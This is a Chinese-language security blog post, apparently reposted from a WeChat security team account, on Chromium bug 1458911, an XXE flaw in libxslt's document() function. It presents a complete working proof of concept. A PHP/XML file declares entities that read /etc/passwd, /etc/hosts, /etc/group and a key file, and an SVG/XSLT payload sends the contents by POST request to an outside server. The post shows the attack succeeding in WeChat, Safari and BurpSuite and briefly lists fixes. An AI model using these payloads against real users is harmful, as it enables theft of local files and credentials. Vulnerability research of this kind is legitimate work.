Chromium 内核 1458911 Bug 文件读取研究利用

admin 2024年1月11日11:35:56评论14 views字数 2280阅读7分36秒阅读模式

Chromium 内核 1458911 Bug 文件读取研究利用

介绍

2023年6月29日 星期四 12:00 [email protected] 开发者向 Chromium 官方提交了该漏洞。

Chromium 内核 1458911 Bug 文件读取研究利用

该漏洞影响使用 Chromium 内核的浏览器,包括 Chrome 版本小于 116。通过访问特定 URL,攻击者可以利用 Libxslt 库中的 document() 函数读取本地任意文件。漏洞存在于 WebKit 浏览器中,默认情况下,Libxslt 允许 XSL document() 方法加载的文档中包含外部实体。攻击者可以绕过安全限制,通过从 http(s):// 网址访问 file:// 网址来获取文件访问权限。

POC 复现

该XML代码包含实体引用,引用了本地系统文件(如/etc/passwd、/etc/hosts等),PHP代码设置了CORS策略,允许任何来源访问服务器资源。

xsl2.php

<!DOCTYPE p [
<!ENTITY passwd SYSTEM "file:///etc/passwd">
<!ENTITY hosts SYSTEM "file:///etc/hosts">
<!ENTITY group SYSTEM "file://localhost/etc/group">
<!ENTITY test123 SYSTEM "file:///Users/xxxx/Downloads/keypem">
]> 

<p>


  <p style="border-style: dotted;">/etc/passwd: 

&passwd;
  </p>
 <p style="border-style: dotted;">/etc/hosts:

&hosts;
  </p>
 <p style="border-style: dotted;">/etc/group:

&group;
  </p>
   <p style="border-style: dotted;">/Users/xxxx/Downloads/keypem:

&test123;
  </p>

</p>

<?php header("Access-Control-Allow-Origin: *");?>

这段XML和XSLT代码使用了外部实体引用和XSLT转换,将远程资源(通过document('http://10.211.55.10:8000/xsl2.php'))嵌入SVG图像。然后,通过JavaScript发起了一个POST请求,将读取到的文件内容外带到指定的服务器地址。

test.svg

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

<xsl:template match="/">

  <svg width="1000%" height="1000%" version="1.1" xmlns="http://www.w3.org/2000/svg">
    <foreignObject class="node" font-size="18" width="100%" height="100%">
    <body xmlns="http://www.w3.org/1999/xhtml">
      <xmp><xsl:copy-of  select="document('http://10.211.55.10:8000/xsl2.php')"/></xmp>
    </body>
    </foreignObject>
 <script>
    var olis = document.getElementsByTagName('p');
  var data = olis[1].textContent;

  var xmlHttp2 = new XMLHttpRequest();
  xmlHttp2.open('POST''http://192.168.8.140:800/');
  xmlHttp2.setRequestHeader('Content-Type''application/x-www-form-urlencoded');
  var postData = 'r=' + encodeURIComponent(data);

  xmlHttp2.send(postData);

  
</script>
  </svg>

  </xsl:template>
</xsl:stylesheet>

将文件放置 WEB 根路径,测试发现大部分应用产品都受该漏洞影响,并发布之前均未进行修复,后续蓝军可利用该漏洞进行溯源攻击者画像。

微信 Version. 3.8.4 (27738) For Macbook Pro M1

Chromium 内核 1458911 Bug 文件读取研究利用
Chromium 内核 1458911 Bug 文件读取研究利用

Safari 版本16.3 (18614.4.6.1.6) For Macbook Pro M1

Chromium 内核 1458911 Bug 文件读取研究利用

BurpSuite 2021.2.1

Chromium 内核 1458911 Bug 文件读取研究利用

修复

  1. 改进沙箱,拒绝对指定文件的读取访问。
  2. 禁止使用来自外部实体的 file://path 和 \path URL 。

Links

https://bugs.chromium.org/p/chromium/issues/detail?id=1458911

原文始发于微信公众号(Evilc0de 安全团队):Chromium 内核 1458911 Bug 文件读取研究利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月11日11:35:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Chromium 内核 1458911 Bug 文件读取研究利用https://cn-sec.com/archives/2215029.html

发表评论

匿名网友 填写信息